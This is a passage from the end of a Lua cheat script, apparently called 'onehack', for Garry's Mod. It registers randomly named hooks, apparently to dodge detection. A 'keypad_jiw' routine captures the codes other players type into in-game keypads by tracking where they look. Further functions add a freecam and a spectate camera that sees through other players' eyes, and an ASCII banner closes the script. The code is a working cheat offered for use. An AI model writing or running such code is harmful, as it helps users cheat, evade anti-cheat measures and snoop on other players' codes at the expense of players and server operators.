2383 if !ply:IsValid() then return end
2384
2385 local tr = util.TraceLine( { start = ply:EyePos(), endpos = ply:EyePos() + ply:GetAimVector() * 65, filter = ply } )
2386 if !tr.Entity or tr.Entity ~= ent then return 0, 0 end
2387
2388 local scale = ent.Scale
2389 if !scale then return 0, 0 end
2390
2391 local pos, ang = ent:CalculateRenderPos(), ent:CalculateRenderAng()
2392 if !pos or !ang then return 0, 0 end
2393 local normal = ent:GetForward()
2394
2395 local intersection = util.IntersectRayWithPlane(ply:EyePos(), ply:GetAimVector(), pos, normal)
2396 if !intersection then return 0, 0 end
2397
2398 local diff = pos - intersection
2399
2400 local x = diff:Dot( -ang:Forward() ) / scale
2401 local y = diff:Dot( -ang:Right() ) / scale
2402
2403 return x, y
2404end
2405
2406function onehack.KPGetHoveredElement(ply, ent)
2407 local scale = ent.Scale
2408
2409 local w, h = ent.Width2D, ent.Height2D
2410 local x, y = onehack.CalculateKeypadCursorPos(ply, ent)
2411
2412 for _, element in ipairs(elements) do
2413 local element_x = w * element.x
2414 local element_y = h * element.y
2415 local element_w = w * element.w
2416 local element_h = h * element.h
2417
2418 if element_x < x and element_x + element_w > x and
2419 element_y < y and element_y + element_h > y
2420 then
2421 return element
2422 end
2423 end
2424end
2425hook.Add("Think",onehack.RandomString(17),function()
2426 if onehack.Vars['keypad_jiw'] then
2427 for k, v in pairs(player.GetAll()) do
2428 local kp = v:GetEyeTrace().Entity
2429 if IsValid(kp) && IsValid(v) and string.find( kp:GetClass(), "Keypad") and v:EyePos():Distance(kp:GetPos()) <= 120 then
2430 kp.tempCode = kp.tempCode or ""
2431 kp.tempText = kp.tempText or ""
2432 kp.tempStatus = kp.tempStatus or 0
2433 if kp:GetText() != kp.tempText or kp:GetStatus() != kp.tempStatus then
2434 kp.tempText = kp:GetText()
2435 kp.tempStatus = kp:GetStatus()
2436 if(kp.tempText && !kp:GetSecure()) then
2437 kp.tempCode = kp.tempText
2438 timer.Simple(0, function()
2439 if kp:GetStatus() == 1 && kp.tempCode && kp.tempCode != "" then
2440 kp.code = kp.tempCode
2441 end
2442 end)
2443 else
2444 local i = onehack.KPGetHoveredElement(v, kp)
2445 if (i) then i = i.text end
2446 if kp.tempText then
2447 timer.Simple(0, function()
2448 if kp:GetStatus() == 1 && kp.tempCode && kp.tempCode != "" then
2449 kp.code = kp.tempCode
2450 end
2451 end)
2452 end
2453 if kp.tempText == "" || kp:GetStatus() == 2 then
2454 kp.tempCode = ""
2455 end
2456 timer.Simple(0, function()
2457 if(tonumber(i) && kp:GetText():len() != 0) then
2458 kp.tempCode = kp.tempCode..i
2459 end
2460 end)
2461 end
2462 end
2463 end
2464 end
2465 end
2466end)
2467hook.Add("CreateMove",onehack.RandomString(17),function(cmd)
2468 if onehack.Vars['FCAM'] then
2469 cmd:ClearButtons()
2470 cmd:ClearMovement()
2471 cmd:SetMouseX(0)
2472 cmd:SetMouseY(0)
2473 end
2474end)
2475
2476function onehack.cameracalculate( ply, pos, angles, fov )
2477 if onehack.Vars['SCAM'] and IsValid(onehack.SpectatePlayer) and onehack.SpectatePlayer:IsPlayer() then
2478 local view = {}
2479 view.origin = onehack.SpectatePlayer:EyePos() or Vector(0,0,0)
2480 view.angles = onehack.SpectatePlayer:EyeAngles() or Angle(0,0,0)
2481 view.fov = fov
2482 view.drawviewer = true
2483 return view
2484 elseif onehack.Vars['SCAM'] and IsValid(onehack.SpectatePlayer) and onehack.SpectatePlayer:GetClass() == "gmod_cameraprop" then
2485 local view = {}
2486 view.origin = onehack.SpectatePlayer:GetPos() or Vector(0,0,0)
2487 view.angles = onehack.SpectatePlayer:GetAngles() or Angle(0,0,0)
2488 view.fov = fov
2489 view.drawviewer = true
2490 return view
2491 end
2492 if onehack.Vars['FCAM'] then
2493 local view = {}
2494 local newang = angles
2495 onehack.StartCamAng = LocalPlayer():GetAngles()
2496 local speed = onehack.CamSpeed_Normal
2497 if input.IsKeyDown(KEY_LSHIFT) then
2498 speed = onehack.CamSpeed_Fast
2499 elseif input.IsKeyDown(KEY_LCONTROL) then
2500 speed = onehack.CamSpeed_Slow
2501 else
2502 speed = onehack.CamSpeed_Normal
2503 end
2504 if input.IsKeyDown(KEY_W) then
2505 onehack.StartCamPos = onehack.StartCamPos + onehack.StartCamAng:Forward() * speed
2506 end
2507 if input.IsKeyDown(KEY_A) then
2508 onehack.StartCamPos = onehack.StartCamPos - onehack.StartCamAng:Right() * speed
2509 end
2510 if input.IsKeyDown(KEY_D) then
2511 onehack.StartCamPos = onehack.StartCamPos + onehack.StartCamAng:Right() * speed
2512 end
2513 if input.IsKeyDown(KEY_S) then
2514 onehack.StartCamPos = onehack.StartCamPos - onehack.StartCamAng:Forward() * speed
2515 end
2516 if input.IsKeyDown(KEY_SPACE) then
2517 onehack.StartCamPos = onehack.StartCamPos + onehack.StartCamAng:Up() * speed
2518 end
2519 --LocalPlayer():SetPos(onehack.StartCamPos)
2520 view.origin = onehack.StartCamPos
2521 view.angles = newang
2522 view.fov = fov
2523 view.drawviewer = true
2524 return view
2525 end
2526end
2527hook.Add( "CalcView", onehack.RandomString(17), onehack.cameracalculate )
2528
2529MsgC(onehack.theme.chroma,[[
2530
2531
2532
2533
2534
2535
2536
2537
2538
2539
2540
2541
2542
2543
2544
2545
2546
2547
2548
2549
2550
2551
2552
2553
2554
2555
2556
2557
2558
2559
2560
2561
2562
2563
2564
2565
2566
2567
2568
2569
2570
2571
2572
2573
2574
2575
2576
2577
2578
2579 ________ ________ _______ ___ ___ ________ ________ ___ __
2580|\ __ \|\ ___ \|\ ___ \ |\ \|\ \|\ __ \|\ ____\|\ \|\ \
2581\ \ \|\ \ \ \\ \ \ \ __/|\ \ \\\ \ \ \|\ \ \ \___|\ \ \/ /|_
2582 \ \ \\\ \ \ \\ \ \ \ \_|/_\ \ __ \ \ __ \ \ \ \ \ ___ \
2583 \ \ \\\ \ \ \\ \ \ \ \_|\ \ \ \ \ \ \ \ \ \ \ \____\ \ \\ \ \
2584 \ \_______\ \__\\ \__\ \_______\ \__\ \__\ \__\ \__\ \_______\ \__\\ \__\
2585 \|_______|\|__| \|__|\|_______|\|__|\|__|\|__|\|__|\|_______|\|__| \|__|
2586 ___ ___ _____ ________ ________
2587 |\ \ / /|/ __ \ |\ __ \ |\ __ \
2588 \ \ \ / / /\/_|\ \ \ \ \|\ \ \ \ \|\ \
2589 \ \ \/ / /\|/ \ \ \ \ \ \\\ \ \ \ \\\ \
2590 \ \ / / \ \ \ __\ \ \\\ \ __\ \ \\\ \
2591 \ \__/ / \ \__\\__\ \_______\\__\ \_______\
2592 \|__|/ \|__\|__|\|_______\|__|\|_______|]])
2593 MsgC(onehack.theme.chromaalt,[[
2594
2595 ________ ________ _______ ________ ___ _________ ________
2596 |\ ____\|\ __ \|\ ___ \ |\ ___ \|\ \|\___ ___\\ ____\ ___
2597 \ \ \___|\ \ \|\ \ \ __/|\ \ \_|\ \ \ \|___ \ \_\ \ \___|_|\__\
2598 \ \ \ \ \ _ _\ \ \_|/_\ \ \ \\ \ \ \ \ \ \ \ \_____ \|__|
2599 \ \ \____\ \ \\ \\ \ \_|\ \ \ \_\\ \ \ \ \ \ \ \|____|\ \ ___
2600 \ \_______\ \__\\ _\\ \_______\ \_______\ \__\ \ \__\ ____\_\ \|\__\
2601 \|_______|\|__|\|__|\|_______|\|_______|\|__| \|__| |\_________\|__|
2602 \|_________|
2603 ________ ________ _______ ________ ________ _______ ___ ___
2604 |\ _____\\ __ \|\ ___ \ |\ __ \ |\ ___ \|\ ___ \ |\ \ / /|
2605 \ \ \__/\ \ \|\ \ \ __/|\ \ \|\ \ ____________ \ \ \_|\ \ \ __/|\ \ \ / / /
2606 \ \ __\\ \ \\\ \ \ \_|/_\ \ _ _\ |\____________\ \ \ \ \\ \ \ \_|/_\ \ \/ / /
2607 \ \ \_| \ \ \\\ \ \ \_|\ \ \ \\ \| \|____________| \ \ \_\\ \ \ \_|\ \ \ / /
2608 \ \__\ \ \_______\ \_______\ \__\\ _\ \ \_______\ \_______\ \__/ /
2609 \|__| \|_______|\|_______|\|__|\|__| \|_______|\|_______|\|__|/]])
2610end
2611hook.Add( "Initialize", "WidgetStartUp", init )